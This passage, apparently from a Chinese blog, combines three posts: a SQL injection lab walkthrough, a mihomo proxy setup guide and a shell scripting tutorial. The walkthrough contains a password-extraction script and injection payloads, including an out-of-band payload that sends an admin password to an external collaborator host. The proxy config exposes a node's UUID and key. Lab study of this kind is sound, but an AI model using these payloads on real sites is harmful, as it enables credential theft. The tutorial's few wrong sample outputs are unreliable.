if 'Welcome back!' in response.text:
continue
else:
password_length=i
return password_length
break

#爆破某一用户名密码
def get_password_by_user(url,username,tablename,inject_id):
result=''
password_length=get_password_length_by_user(url,username,tablename,inject_id)
for password_index in range(1, password_length+1):
ascii_low = 32
ascii_high = 128
ascii_mid=(ascii_low+ascii_high)//2
while ascii_low < ascii_high:
cookies = {
'TrackingId': f"{inject_id}' and ascii(substr((select password from {tablename} where username='{username}'),{password_index},1)) > {ascii_mid}--+;"
}
response = requests.request(url=url,method=method,cookies=cookies)
sleep(sleep_time)
if 'Welcome back!' in response.text:
ascii_low=ascii_mid+1
else:
ascii_high = ascii_mid
ascii_mid=(ascii_low+ascii_high)//2
result+=chr(ascii_mid)
return result
password=get_password_by_user( url,username,tablename,TrackingId)
print(password)

其实,本题在爆破数据表时,也可以使用Python单独对表名中含有user的表进行爆破,但考虑实际情况,把所有的表名爆破出,容易获得更多的信息

Blind SQL injection with conditional errors

跟上一题是非常类似的。讲一下原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1、添加单引号收到错误
TrackingId=xyz'
2、添加两个单引号错误消失
TrackingId=xyz''
3、确认是查询错误而不是其他类型错误。下列语句表明目标为Oracle 数据库
TrackingId=xyz'||(SELECT '')||'(错误)
TrackingId=xyz'||(SELECT '' FROM dual)||'(正确)
4、验证users表存在
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
5、验证用户administrator存在
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
6、爆破密码长度
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>§a§ THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
7、爆破密码
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§b§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

结果如下:

image-20250316173050195

Visible error-based SQL injection

错误会返回到客户端

image-20250316181656140

1
2
3
4
5
6
7
8
9
10
11
12
1、天加一个引号,可以在web页面看到报错,并看到自己的cookie
TrackingId=xxx'
2、添加注释符不再报错
TrackingId=xxx'--
3、添加错误的语句观察返回内容
TrackingId=xxx' AND CAST((SELECT 1) AS int)--
4、使用正确语句错误消失
TrackingId=xxx' AND 1=CAST((SELECT 1) AS int)--
5、泄露用户
TrackingId=xxxx' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
6、泄露密码
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

我试了下面这个注入语句,但是没有得到想要的结果。

1
TrackingId=' AND 1=CAST((SELECT password FROM users where username='administrator') AS int)--

image-20250316184013533

Blind SQL injection with time delays and information retrieval

1
2
3
4
5
6
7
8
9
10
1.延迟10
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
2.不延时
TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
3.延时,说明有administrator用户
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
4.延时,说明密码长度为20
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
5.bp爆破
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§b§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Blind SQL injection with out-of-band interaction

image-20250320124609391

k8tddk5vl36mmu8y9zj46y1zdqjk7ev3.oastify.com

1
Cookie: TrackingId=Mf3GZbtHdrUPYCyR'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//k8tddk5vl36mmu8y9zj46y1zdqjk7ev3.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--; session=7HQmzle2kv8m9yAyiZADwZ8B64e6hGQp

image-20250320124746996

Blind SQL injection with out-of-band data exfiltration

跟上边类似的

1
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

image-20250320142450030

SQL injection with filter bypass via XML encoding

XML绕过注入

image-20250320153828228

image-20250320153954704

本文参考:

带空格的标题

带空格的标题需要用双引号“标 题”引起来,不然文件和标题的命名会发生错误。

image-20250305142442398

本文参考:

mihomo

阿里云服务器每次访问外网都超时,之前安装工具都是先下载到本地再上传到服务器。前些天复现漏洞下个镜像拖来拖去的,实在是忍无可忍了。网上看了各种文章,尝试了各种方法,最后使用了mihomo代理成功访问外网。

mihomo安装

  1. mihomo下载,github地址:https://github.com/MetaCubeX/mihomo

1
2
3
4
1. 因为没法访问外网,要先下载到本地,再传到服务器。
2. gzip -d mihomo.gz #解压缩
3. mv mihomo /usr/local/bin/mihomo #将 mihomo 移动到 /usr/local/bin/ 目录:
4. sudo chmod +x /usr/local/bin/mihomo #设置可执行权限

经过上述步骤以后,要在为mihomo添加配置文件config.yaml和Country.mmdb。Country.mmdb我是在在github上找的。

2.创建 systemd 配置文件 /etc/systemd/system/mihomo.service,并添加如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[Unit]
Description=mihomo Daemon, Another Clash Kernel.
After=network.target NetworkManager.service systemd-networkd.service iwd.service

[Service]
Type=simple
LimitNPROC=500
LimitNOFILE=1000000
CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_RAW CAP_NET_BIND_SERVICE CAP_SYS_TIME CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_DAC_OVERRIDE
AmbientCapabilities=CAP_NET_ADMIN CAP_NET_RAW CAP_NET_BIND_SERVICE CAP_SYS_TIME CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_DAC_OVERRIDE
Restart=always
ExecStartPre=/usr/bin/sleep 1s
ExecStart=/usr/local/bin/mihomo -d /etc/mihomo
ExecReload=/bin/kill -HUP $MAINPID

[Install]
WantedBy=multi-user.target
  1. 创建配置文件。mihomo和clash meta用的是相同的内核,因此这个配置文件和我本地Windows系统用的clash meta是一样的。我创建的配置文件在/etc/mihomo/config.yaml。部分细节如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[11:42:20 root@rocky95 ~]# head -n 20 /etc/mihomo/config.yaml 
mixed-port: 7890
allow-lan: true
bind-address: '*'
mode: rule
log-level: info
external-controller: '127.0.0.1:9090'
unified-delay: true
tcp-concurrent: true
dns:
enable: true
ipv6: false
default-nameserver: [223.5.5.5, 119.29.29.29]
enhanced-mode: fake-ip
fake-ip-range: 198.18.0.1/16
use-hosts: true
nameserver: ['https://doh.pub/dns-query', 'https://dns.alidns.com/dns-query']
fallback: ['https://doh.dns.sb/dns-query', 'https://dns.cloudflare.com/dns-query', 'https://dns.twnic.tw/dns-query', 'tls://8.8.4.4:853']
fallback-filter: { geoip: true, ipcidr: [240.0.0.0/4, 0.0.0.0/32] }
proxies:
- { name: '剩余流量:918.16 GB', type: vless, server: pq.aws48.yydjc.top, port: 443, uuid: 6806220d-2952-4fab-8617-ea56feab45b1, udp: true, tls: true, skip-cert-verify: false, flow: xtls-rprx-vision, client-fingerprint: chrome, servername: buylite.tv.apple.com, reality-opts: { public-key: 6T-kYBf65ERaEAhxIyHL1FCfu0QR6P2XQMtcvUgzSjM, short-id: 70ad150d } }
  1. 重启systemd

1
systemctl daemon-reload
  1. 启用 mihomo 服务:

1
systemctl enable mihomo

mihomo使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. 启用 mihomo 服务:
systemctl enable mihomo
2. 立即启动 mihomo:
systemctl start mihomo
3. 重新加载mihomo
systemctl reload mihomo
4. 检查 mihomo 的运行状况
systemctl status mihomo
5. 检查 mihomo 的运行日志
journalctl -u mihomo -o cat -e

journalctl -u mihomo -o cat -f
6. 关闭 mihomo 服务:
systemctl disable mihomo

为Linux设置代理

临时启用和关闭代理

在使用Linux时,临时启用代理的命令:

1
2
export http_proxy=http://ip:port
export https_proxy=http://ip:port

ip和port为你的代理服务器的ip以及开放的端口。

取消代理:

1
2
unset http_proxy
unset https_proxy

永久全局代理

永久全局代理将临时启用代理的命令添加至系统配置文件中,source刷新shell环境即可。

1
2
3
4
5
6
vim /etc/profile
……
export http_proxy=http://ip:port
export https_proxy=https://ip:port
……
source /etc/profile

设置代理的基本语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
`环境变量
http_proxy:为http变量设置代理;默认不填开头以http协议传输
# 示例
`以下是常见的基本语法
http_proxy=ip:port
http_proxy=http://ip:port
http_proxy=socks4://ip:port
http_proxy=socks5://ip:port

`如果不想设置白名单,也可以使用用户名和密码进行验证
http_proxy=http://username:password@ip:port
http_proxy=http://username:password@ip:port

https_proxy:为https设置代理
ftp_proxy:为ftp设置代理
all_proxy:全部变量设置代理,设置了这个的时候上面不需要设置
no_proxy:无需代理的主机或域名;可以使用通配符,多个时使用","号分隔
# 示例:
*.aiezu.com,10.*.*.*,192.168.*.*
*.local,localhost,127.0.0.1

部署Web控制面板

部署好了mihomo代理以后,在虚拟机上切换节点、重载配置等较为不便,可以为mihomo部署控制面板,方便管理。但如果服务器暴露在公网中,使用Web面板会很不安全。因此我只在需要调试的时候会把Web面板打开。部署控制面板的操作如下:

  1. 在config.yaml中添加或修改如下配置:

1
2
external-controller: '0.0.0.0:7891'
external-ui: /etc/mihomo/ui
  1. 从github下载

1
sudo git clone https://github.com/metacubex/metacubexd.git -b gh-pages /etc/mihomo/ui
  1. 重启mihomo服务

1
sudo systemctl restart mihomo

本地访问http://ip:port/ui就可以访问Web面板了

注意:虽然查看该面板需要密码,但是密码随机输入即可,并不具备安全性

docker使用网络代理

gitbook上有一篇docker的详解:Docker — 从入门到实践

  • 为 dockerd 创建配置文件夹。

1
sudo mkdir -p /etc/systemd/system/docker.service.d
  • 为 dockerd 创建 HTTP/HTTPS 网络代理的配置文件,文件路径是 /etc/systemd/system/docker.service.d/http-proxy.conf 。并在该文件中添加相关环境变量。

1
2
3
4
[Service]
Environment="HTTP_PROXY=http://proxy.example.com:8080/"
Environment="HTTPS_PROXY=http://proxy.example.com:8080/"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"
  • 刷新配置并重启 docker 服务。

1
2
sudo systemctl daemon-reload
sudo systemctl restart docker

客户端使用代理

因为代理是部署在服务器的,因此自己的手机、电脑、平板等也可以使用服务器的代理。但是要修改配置文件allow-lan改为true。

1
allow-lan: true

遇到的问题:

  1. 网上说mihomo的配置文件和clash是一样的,因此要把订阅链接转换成clash的订阅链接,可是我转换后并不能成功使用。经过进一步的了解得知mihomo是clash meta的更新,随后转成meta链接成功(在订阅链接后加&flag=meta)。

  2. 为docker更换源、使用阿里加速器。然而尝试了各种源均没有什么卵用,只有个别镜像拉取成功,并且就算docker配置成功了,我还是没办法直接下载github的资源。

  3. 使用clash代理,然而我花好久终于要整好的时候,clash并不支持我的配置文件中type: hysteria2,也就是不支持hysteria2协议。一时间手足无措,最后在一篇文章里看到mihomo支持,最后配置成功。

本文参考:

Docker — 从入门到实践

shell编程

这里说的Shell 脚本(shell script),是在Linux 环境下运行的脚本程序

Shell 编程跟 JavaScript、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。

Linux 的 Shell 种类众多,常见的有:

  • Bourne Shell(/usr/bin/sh或/bin/sh)

  • Bourne Again Shell(/bin/bash)

  • C Shell(/usr/bin/csh)

  • K Shell(/usr/bin/ksh)

  • Shell for Root(/sbin/sh)

  • ……

Bash是大多数Linux 系统默认的 Shell,本文也仅关注Bash Shell。

在一般情况下,并不区分 Bourne Shell 和 Bourne Again Shell,所以,像 #!/bin/sh,它同样也可以改为 #!/bin/bash

#! 告诉系统其后路径所指定的程序即是解释此脚本文件的 Shell 程序。

入门

运行Shell脚本

编写shell脚本:

1
2
3
4
vi test.sh

#!/bin/bash
echo "Hello World !"

#! 是一个约定的标记,它告诉系统这个脚本需要什么解释器来执行,即使用哪一种 Shell。

echo 命令用于向窗口输出文本。

运行 Shell 脚本有两种方法:

1、作为可执行程序

1
2
chmod +x ./test.sh  #使脚本具有执行权限
./test.sh #执行脚本

默认情况下,一定要写成 ./test.sh,而不是 test.sh,运行其它二进制的程序也一样。

除非将当前目录.加入到PATH环境变量中,配置方法:

1
2
3
4
5
sudo vi /etc/profile
加入一行
export PATH=$PATH:.
保存之后,执行
source /etc/profile

2、作为解释器参数

直接运行解释器,其参数就是 shell 脚本的文件名:

1
/bin/sh test.sh

这种方式运行的脚本,不需要在第一行指定解释器信息,写了也没用。

编写一个快捷创建shell脚本的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
if test -z $1;then
newfile="./script_`date +%m%d_%s`"
else
newfile=$1
fi
echo $newfile
if ! grep "^#!" $newfile &>/dev/null; then
cat >> $newfile << EOF
#!/bin/bash
# Author:
# Date & Time: `date +"%F %T"`
#Description:
EOF
fi
vim +5 $newfile
chmod +x $newfile

将以上内容编写好之后保存为shell文件,然后执行

1
2
chmod u+x shell
sudo mv shell /usr/bin/

echo命令

Shell 的 echo 指令与 PHP 的 echo 指令类似,都是用于字符串的输出。命令格式:

1
echo string

显示普通字符串:

1
echo "It is a test"

这里的双引号完全可以省略,以下命令与上面实例效果一致:

1
echo It is a test

显示转义字符:

1
echo "\"It is a test\""

结果将是:

1
"It is a test"

同样,双引号也可以省略

read 命令从标准输入中读取一行,并把输入行的每个字段的值指定给 shell 变量

1
2
3
#!/bin/sh
read name
echo "$name It is a test"

以上代码保存为 test.sh,name 接收标准输入的变量,结果将是:

1
2
3
[root@www ~]# sh test.sh
OK #标准输入
OK It is a test #输出
显示换行
1
2
echo -e "OK! \n" # -e 开启转义
echo "It is a test"

输出结果:

1
2
OK!
It is a test
显示不换行
1
2
3
#!/bin/sh
echo -e "OK! \c" # -e 开启转义 \c 不换行
echo "It is a test"

输出结果:

1
OK! It is a test

printf 命令

printf 命令的语法:

1
printf  format-string  [arguments...]

参数说明:

  • format-string: 为格式控制字符串

  • arguments: 为参数列表。

实例如下:

1
2
3
4
5
6
#!/bin/bash

printf "%-10s %-8s %-4s\n" 姓名 性别 体重kg
printf "%-10s %-8s %-4.2f\n" 郭靖 男 66.1234
printf "%-10s %-8s %-4.2f\n" 杨过 男 48.6543
printf "%-10s %-8s %-4.2f\n" 郭芙 女 47.9876

执行脚本,输出结果如下所示:

1
2
3
4
姓名     性别   体重kg
郭靖 男 66.12
杨过 男 48.65
郭芙 女 47.99
  • %s %c %d %f都是格式替代符

  • %-10s 指一个宽度为10个字符(-表示左对齐,没有则表示右对齐),任何字符都会被显示在10个字符宽的字符内,如果不足则自动以空格填充,超过也会将内容全部显示出来。

  • %-4.2f 指格式化为小数,其中.2指保留2位小数。

printf的转义序列:

序列说明
\a警告字符,通常为ASCII的BEL字符
\b后退
\c抑制(不显示)输出结果中任何结尾的换行字符(只在%b格式指示符控制下的参数字符串中有效),而且,任何留在参数里的字符、任何接下来的参数以及任何留在格式字符串中的字符,都被忽略
\f换页(formfeed)
\n换行
\r回车(Carriage return)
\t水平制表符
\v垂直制表符
\一个字面上的反斜杠字符
\ddd表示1到3位数八进制值的字符。仅在格式字符串中有效
\0ddd表示1到3位的八进制值字符

例子:

1
2
3
4
5
6
7
python@ubuntu:~/test$ printf "a string, no processing:<%s>\n" "A\nB"
a string, no processing:<A\nB>
python@ubuntu:~/test$ printf "a string, no processing:<%b>\n" "A\nB"
a string, no processing:<A
B>
python@ubuntu:~/test$ printf "www.runoob.com \a"
www.runoob.com python@ubuntu:~/test$

Shell 注释

# 开头的行就是注释,会被解释器忽略:

1
2
3
4
5
6
7
8
9
10
11
12
13
#--------------------------------------------
# 这是一个注释
# author:菜鸟教程
# site:www.taobao.com
# slogan:学的不仅是技术,更是梦想!
#--------------------------------------------
##### 用户配置区 开始 #####
#
#
# 这里可以添加脚本描述信息
#
#
##### 用户配置区 结束 #####

多行注释还可以使用以下格式:

1
2
3
4
5
:<<EOF
注释内容...
注释内容...
注释内容...
EOF

EOF 也可以使用其他符号:

1
2
3
4
5
6
7
8
9
10
11
:<<'
注释内容...
注释内容...
注释内容...
'

:<<!
注释内容...
注释内容...
注释内容...
!

Shell变量

定义变量

1
your_name="taobao.com"

变量名的命名须遵循如下规则:

  • 命名只能使用英文字母,数字和下划线,首个字符不能以数字开头。

  • 中间不能有空格,可以使用下划线(_)。

  • 不能使用标点符号。

  • 不能使用bash里的关键字(可用help命令查看保留关键字)。

使用变量

在变量名前面加美元符号即可,如:

1
2
3
your_name="qinjx"
echo $your_name
echo ${your_name}

加花括号可以帮助解释器识别变量的边界,比如:

1
2
3
for skill in Ada Coffe Action Java; do
echo "I am good at ${skill}Script"
done

只读变量

使用 readonly 命令可以将变量定义为只读变量,只读变量的值不能被改变。

下面的例子尝试更改只读变量,结果报错:

1
2
3
4
python@ubuntu:~/shell$ myUrl="http://www.google.com"
python@ubuntu:~/shell$ readonly myUrl
python@ubuntu:~/shell$ myUrl="http://www.baidu.com"
-bash: myUrl: 只读变量

删除变量

使用 unset 命令可以删除变量,但不能删除只读变量:

1
2
3
4
#!/bin/sh
myUrl="http://www.baidu.com"
unset myUrl
echo $myUrl

变量类型

运行shell时,会同时存在三种变量:

  • 1) 局部变量 局部变量在脚本或命令中定义,仅在当前shell实例中有效,其他shell启动的程序不能访问局部变量。

  • 2) 环境变量 所有的程序,包括shell启动的程序,都能访问环境变量,有些程序需要环境变量来保证其正常运行。必要的时候shell脚本也可以定义环境变量。

  • 3) shell变量 shell变量是由shell程序设置的特殊变量。shell变量中有一部分是环境变量,有一部分是局部变量,这些变量保证了shell的正常运行

Shell 函数

shell中函数的定义格式如下:

1
2
3
4
5
[ function ] funname [()]
{
action;
[return int;]
}

说明:

  • 1、可以带function fun() 定义,也可以直接fun() 定义,不带任何参数。

  • 2、参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果,作为返回值。 return后跟数值n(0-255)

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

funWithReturn(){
echo "这个函数会对输入的两个数字进行相加运算..."
echo "输入第一个数字: "
read aNum
echo "输入第二个数字: "
read anotherNum
echo "两个数字分别为 $aNum$anotherNum !"
return $(($aNum+$anotherNum))
}
funWithReturn
echo "输入的两个数字之和为 $? !"

输出,类似下面:

1
2
3
4
5
6
7
这个函数会对输入的两个数字进行相加运算...
输入第一个数字:
1
输入第二个数字:
2
两个数字分别为 1 和 2 !
输入的两个数字之和为 3 !

函数返回值在调用该函数后通过 $? 来获得。

注意:所有函数在使用前必须定义。这意味着必须将函数放在脚本开始部分,直至shell解释器首次发现它时,才可以使用。调用函数仅使用其函数名即可。

在Shell中,调用函数时可以向其传递参数。在函数体内部,通过 $n 的形式来获取参数的值,例如,$1表示第一个参数,$2表示第二个参数…

带参数的函数示例:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

funWithParam(){
echo "第一个参数为 $1 !"
echo "第二个参数为 $2 !"
echo "第十个参数为 $10 !"
echo "第十个参数为 ${10} !"
echo "第十一个参数为 ${11} !"
echo "参数总数有 $# 个!"
echo "作为一个字符串输出所有参数 $* !"
}
funWithParam 1 2 3 4 5 6 7 8 9 34 73

输出结果:

1
2
3
4
5
6
7
第一个参数为 1 !
第二个参数为 2 !
第十个参数为 10 !
第十个参数为 34 !
第十一个参数为 73 !
参数总数有 11 个!
作为一个字符串输出所有参数 1 2 3 4 5 6 7 8 9 34 73 !

当n>=10时,需要使用${n}来获取参数。

另外,还有几个特殊字符用来处理参数:

参数处理说明
$#传递到脚本的参数个数
$*以一个单字符串显示所有向脚本传递的参数
$$脚本运行的当前进程ID号
$!后台运行的最后一个进程的ID号
$@与$*相同,但是使用时加引号,并在引号中返回每个参数。
$-显示Shell使用的当前选项,与set命令功能相同。
$?显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。

文件包含

Shell 文件包含的语法格式如下:

1
2
3
. filename   # 注意点号(.)和文件名中间有一空格

source filename

实例

创建两个 shell 脚本文件。

test1.sh 代码如下:

1
2
3
#!/bin/bash

url="http://www.baidu.com"

test2.sh 代码如下:

1
2
3
4
5
6
7
8
9
#!/bin/bash

#使用 . 号来引用test1.sh 文件
. ./test1.sh
# 或者使用以下包含文件代码
# source ./test1.sh

echo "url地址:$url"
12345678

接下来,我们为 test2.sh 添加可执行权限并执行:

1
2
3
$ chmod +x test2.sh 
$ ./test2.sh
url地址:http://www.baidu.com

**注:**被包含的文件 test1.sh 不需要可执行权限。

shell数据类型

字符串

字符串可以用单引号,也可以用双引号,也可以不用引号。

单引号:

1
str='this is a string'b

单引号字符串的限制:

  • 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的;

  • 单引号字串中不能出现单独一个的单引号(对单引号使用转义符后也不行),但可成对出现,作为字符串拼接使用。

双引号:

1
2
3
your_name='taobao'
str="Hello, I know you are \"$your_name\"! \n"
echo -e $str

输出结果为:

1
Hello, I know you are "taobao"! 

双引号的优点:

  • 双引号里可以有变量

  • 双引号里可以出现转义字符

拼接字符串:

1
2
3
4
5
6
7
8
9
your_name="taobao"
# 使用双引号拼接
greeting="hello, "$your_name" !"
greeting_1="hello, ${your_name} !"
echo $greeting $greeting_1
# 使用单引号拼接
greeting_2='hello, '$your_name' !'
greeting_3='hello, ${your_name} !'
echo $greeting_2 $greeting_3

输出结果为:

1
2
hello, taobao ! hello, taobao !
hello, taobao ! hello, ${your_name} !

获取字符串长度${#s}

1
2
string="abcd"
echo ${#string} #输出 4

截取字符串${s:n1:n2}

以下实例从字符串第 2 个字符开始截取 4 个字符:

1
2
string="taobao is a great site"
echo ${string:1:4} # 输出 unoo

查找字符出现的位置expr index

查找字符 io 的位置(哪个字母先出现就计算哪个):

1
2
string="taobao is a great site"
echo `expr index "$string" io` # 输出 3

注意: 以上脚本中 ` 是反引号,而不是单引号 '

数组

bash支持一维数组(不支持多维数组),并且没有限定数组的大小。

数组元素的下标由 0 开始编号。

定义数组

在 Shell 中,用括号来表示数组,数组元素用"空格"符号分割开。定义数组的一般形式为:

1
array_name=(value0 value1 value2 value3)

或者

1
2
3
4
5
6
array_name=(
value0
value1
value2
value3
)

或单独定义数组的各个分量:

1
2
3
array_name[0]=value0
array_name[1]=value1
array_name[n]=valuen

可以不使用连续的下标,而且下标的范围没有限制。

读取数组

读取数组元素值的一般格式是:

1
valuen=${array_name[n]}

例子:

1
2
3
4
5
6
7
8
#!/bin/bash

my_array=(A B "C" D)

echo "第一个元素为: ${my_array[0]}"
echo "第二个元素为: ${my_array[1]}"
echo "第三个元素为: ${my_array[2]}"
echo "第四个元素为: ${my_array[3]}"

执行脚本,输出结果如下所示:

1
2
3
4
5
6
$ chmod +x test.sh 
$ ./test.sh
第一个元素为: A
第二个元素为: B
第三个元素为: C
第四个元素为: D

使用 @* 符号可以获取数组中的所有元素,例如:

1
echo ${array_name[@]}

例子:

1
2
3
4
5
6
7
8
9
#!/bin/bash

my_array[0]=A
my_array[1]=B
my_array[2]=C
my_array[3]=D

echo "数组的元素为: ${my_array[*]}"
echo "数组的元素为: ${my_array[@]}"

执行脚本,输出结果如下所示:

1
2
3
4
$ chmod +x test.sh 
$ ./test.sh
数组的元素为: A B C D
数组的元素为: A B C D
获取数组的长度

获取数组长度的方法与获取字符串长度的方法相同,例如:

1
2
3
4
5
6
# 取得数组元素的个数
length=${#array_name[@]}
# 或者
length=${#array_name[*]}
# 取得数组单个元素的长度
lengthn=${#array_name[n]}

例子:

1
2
3
4
5
6
7
8
9
#!/bin/bash

my_array[0]=A
my_array[1]=B
my_array[2]=C
my_array[3]=D

echo "数组元素个数为: ${#my_array[*]}"
echo "数组元素个数为: ${#my_array[@]}"

执行脚本,输出结果如下所示:

1
2
3
4
$ chmod +x test.sh 
$ ./test.sh
数组元素个数为: 4
数组元素个数为: 4

Shell传递参数

执行 Shell 脚本时,向脚本传递参数,脚本内获取参数的格式为:$n

n 代表一个数字,1 为执行脚本的第一个参数,2 为执行脚本的第二个参数,以此类推……

$0 为执行的文件名

test.sh文件内容如下:

1
2
3
4
5
6
7
8
vi test.sh
#!/bin/bash

echo "Shell 传递参数实例!";
echo "执行的文件名:$0";
echo "第一个参数为:$1";
echo "第二个参数为:$2";
echo "第三个参数为:$3";

运行结果:

1
2
3
4
5
6
python@ubuntu:~/test$ sh test.sh 1 2 3
Shell 传递参数实例!
执行的文件名:test.sh
第一个参数为:1
第二个参数为:2
第三个参数为:3

参数获取:

参数处理说明
$#传递到脚本的参数个数
$*传递的参数作为一个字符串显示
$$脚本运行的当前进程ID号
$!后台运行的最后一个进程的ID号
$@$*相同,但是使用时加引号
$?显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。
1
2
3
4
5
6
7
8
#!/bin/bash

echo "参数个数为:$#";
echo "$*传递的参数作为一个字符串显示:$*";
echo "$@传递的参数作为一个字符串显示:$@";
echo "脚本运行的当前进程ID号:$$";
echo "后台运行的最后一个进程的ID号:$!";
echo "$?"

执行脚本,输出结果如下所示:

1
2
3
4
5
6
7
python@ubuntu:~/test$ ./test.sh 1 2 3
参数个数为:3
1 2 3传递的参数作为一个字符串显示:1 2 3
1 2 3传递的参数作为一个字符串显示:1 2 3
脚本运行的当前进程ID号:5059
后台运行的最后一个进程的ID号:
0

$*$@的区别:

  • 只有在双引号中体现出来。假设在脚本运行时写了三个参数 1、2、3,,则$* 等价于 “1 2 3”(传递了一个参数),而$@等价于 “1” “2” “3”(传递了三个参数)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash

echo "-- \"\$*\" 演示 ---"
for i in "$*"; do
echo $i
done

echo "-- \"\$@\" 演示 ---"
for i in "$@"; do
echo $i
done

echo "-- \$* 演示 ---"
for i in $*; do
echo $i
done

echo "-- \$@ 演示 ---"
for i in $@; do
echo $i
done

执行脚本,输出结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python@ubuntu:~/test$ sh test 1 2 3
-- "$*" 演示 ---
1 2 3
-- "$@" 演示 ---
1
2
3
-- $* 演示 ---
1
2
3
-- $@ 演示 ---
1
2
3

Shell基本运算符

Shell 和其他编程语言一样,支持多种运算符,包括:

  • 算数运算符

  • 关系运算符

  • 布尔运算符

  • 字符串运算符

  • 文件测试运算符

原生bash不支持简单的数学运算,但是可以通过其他命令来实现,例如 awk 和 expr,expr 最常用。

expr 是一款表达式计算工具,使用它能完成表达式的求值操作。

1
2
3
4
#!/bin/bash

val=`expr 2 + 2`
echo "两数之和为 : $val"

执行脚本,输出结果如下所示:

1
两数之和为 : 4

两点注意:

  • 表达式和运算符之间要有空格,例如 2+2 是不对的,必须写成 2 + 2。

  • 完整的表达式要被 包含,这个字符是反引号在 Esc 键下边。

算术运算符

下表列出了常用的算术运算符,假定变量 a 为 10,变量 b 为 20:

运算符说明举例
+加法expr $a + $b 结果为 30。
-减法expr $a - $b 结果为 -10。
*乘法expr $a \* $b 结果为 200。
/除法expr $b / $a 结果为 2。
%取余expr $b % $a 结果为 0。
=赋值a=$b 将把变量 b 的值赋给 a。
==相等。用于比较两个数字,相同则返回 true。[ $a == $b ] 返回 false。
!=不相等。用于比较两个数字,不相同则返回 true。[ $a != $b ] 返回 true。

算术运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

a=10
b=20

val=`expr $a + $b`
echo "a + b : $val"

val=`expr $a - $b`
echo "a - b : $val"

val=`expr $a \* $b`
echo "a * b : $val"

val=`expr $b / $a`
echo "b / a : $val"

val=`expr $b % $a`
echo "b % a : $val"

if [ $a == $b ]
then
echo "a 等于 b"
fi
if [ $a != $b ]
then
echo "a 不等于 b"
fi

执行脚本,输出结果如下所示:

1
2
3
4
5
6
a + b : 30
a - b : -10
a * b : 200
b / a : 2
b % a : 0
a 不等于 b

注意:

  • 乘号(*)前边必须加反斜杠\才能实现乘法运算;

  • if…then…fi 是条件语句,后续将会讲解。

  • 在 MAC 中 shell 的 expr 语法是:$((表达式)),此处表达式中的 “*” 不需要转义符号 \

1
2
3
let varName=算术表达式
varName=$[算术表达式]
varName=$((算术表达式))

关系运算符

关系运算符只支持数字,不支持字符串,除非字符串的值是数字。

下表列出了常用的关系运算符,假定变量 a 为 10,变量 b 为 20:

运算符说明举例
-eq检测两个数是否相等,相等返回 true。[ $a -eq $b ] 返回 false。
-ne检测两个数是否不相等,不相等返回 true。[ $a -ne $b ] 返回 true。
-gt检测左边的数是否大于右边的,如果是,则返回 true。[ $a -gt $b ] 返回 false。
-lt检测左边的数是否小于右边的,如果是,则返回 true。[ $a -lt $b ] 返回 true。
-ge检测左边的数是否大于等于右边的,如果是,则返回 true。[ $a -ge $b ]返回 false。
-le检测左边的数是否小于等于右边的,如果是,则返回 true。[ $a -le $b ] 返回 true。

关系运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash

a=10
b=20

if [ $a -eq $b ]
then
echo "$a -eq $b : a 等于 b"
else
